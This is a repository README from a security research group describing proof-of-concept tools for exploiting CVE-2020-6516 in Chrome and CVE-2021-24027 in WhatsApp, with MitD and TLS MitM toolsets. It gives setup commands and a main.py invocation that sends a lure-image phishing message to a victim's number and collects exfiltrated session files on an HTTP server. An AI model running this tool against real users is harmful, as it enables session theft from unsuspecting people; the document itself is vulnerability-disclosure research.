April 9, 2021

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PoC and tools for exploiting CVE-2020-6516 (Chrome) and CVE-2021-24027 (WhatsApp)

repo name CENSUS/whatsapp-mitd-mitm
repo link https://github.com/CENSUS/whatsapp-mitd-mitm
language JavaScript
size (curr.) 72 kB
stars (curr.) 73
created 2021-03-11

WhatsApp MitD & MitM


This repository contains PoC code and tools that were developed as part of our research [01] on remotely exploiting Man-in-the-Disk (MitD) vulnerabilities on WhatsApp for Android. As discussed in our blog post, the code and accompanying scripts found here, were used to exploit CVE-2020-6516 (Chrome) [02] and CVE-2021-24027 (WhatsApp) [03].

The structure of this repository is as follows:

  • The current directory contains the Python tool that hooks WhatsApp using Frida, sends the phishing message carrying the CORS bypass payload and runs an HTTP server, where exfiltrated session files from the victim device are sent to.

  • tls12_psk_extract/ contains the TLS v1.2 MitM toolset. See README.md in that directory for more information on how to prepare a MitM environment.

  • watls_psk_extract/ contains the TLS v1.3 (WaTLS) MitM toolset. See README.md in that directory for more information on how to prepare a MitM environment.

  • openssl-1.1.1f-patches/ contains OpenSSL 1.1.1f patches required for setting up TLS v1.2 and/or TLS v1.3 MitM environments.

  • secrets/ holds a simple shell script and an OpenSSL configuration for generating certificates similar to those used by the WhatsApp TLS v1.3 infrastructure. The generated keys and certificates can be used for both TLS v1.2 and v1.3 MitM.

  • Last but not least, misc/ contains various Frida scripts that were used for testing and debugging purposes during our research and might be helpful to other researchers.


To test the PoC you need an Android device running WhatsApp [04]. Even though our code was initially developed for 2.19.355, and so you can find the corresponding snippets under frida_scripts/, that version is nowadays considered “expired” and won’t work.

Before firing up the PoC, it is a good idea to compile as little as possible of WhatsApp’s DEX code. Doing so might proactively help in avoiding issues like Frida not being able to hook specific methods.

adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main

Download Frida server and push it on your Android device under /data/local/tmp, leaving the default file name as is. Version 12.8.10 is tested and known to work well. Feel free to download a more recent one if you prefer to. The PoC will automatically detect the Frida server binary and will attempt to execute it with the appropriate command line arguments.

cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp

The main logic of the exploit is implemented in main.py. Files adb.py and frida_util.py are trimmed down versions of tools that we use internally for various debugging tasks on Android devices.

To run the PoC, attach your Android device on your computer and run the following command:

python3 main.py -s ANDROID_SERIAL -a -p 8000 -r \
    images/the_guardian.jpg MOBILE_NUMBER@s.whatsapp.net "Rush for Mediterranean gas"

The command line switches passed to main.py are the following:

  • -s - The serial number of the Android device to use, in case the attacker has multiple Android devices attached on her computer.

  • -a and -p - Address and port, respectively, of the HTTP server where the exfiltrated sessions will be sent to.

  • -r - Instructs main.py to start the aforementioned HTTP server on the local computer. If you don’t pass -r, make sure you run server.py on the host specified by -a and -p.

Positional arguments are the following:

  • images/guardian.jpg - A JPG image that will be used as a fake message preview, in order to lure the victim into clicking on it.

  • MOBILE_NUMBER@s.whatsapp.net - The victim’s mobile phone number in WhatsApp format. This is usually the country prefix followed by the mobile number. For example, Greek numbers (+30) look like 301234567890@s.whatsapp.net.

  • “Rush for Mediterranean gas” - An arbitrary string to be used as the message caption.

For a real life usage example, have a look at our blog post, and more specifically at the demonstration videos.


[01] https://census-labs.com/news/2021/03/07/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516

[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027

[04] https://www.apkmirror.com/apk/whatsapp-inc/whatsapp/whatsapp-2-20-206-22-release/whatsapp-messenger-2-20-206-22-android-apk-download/

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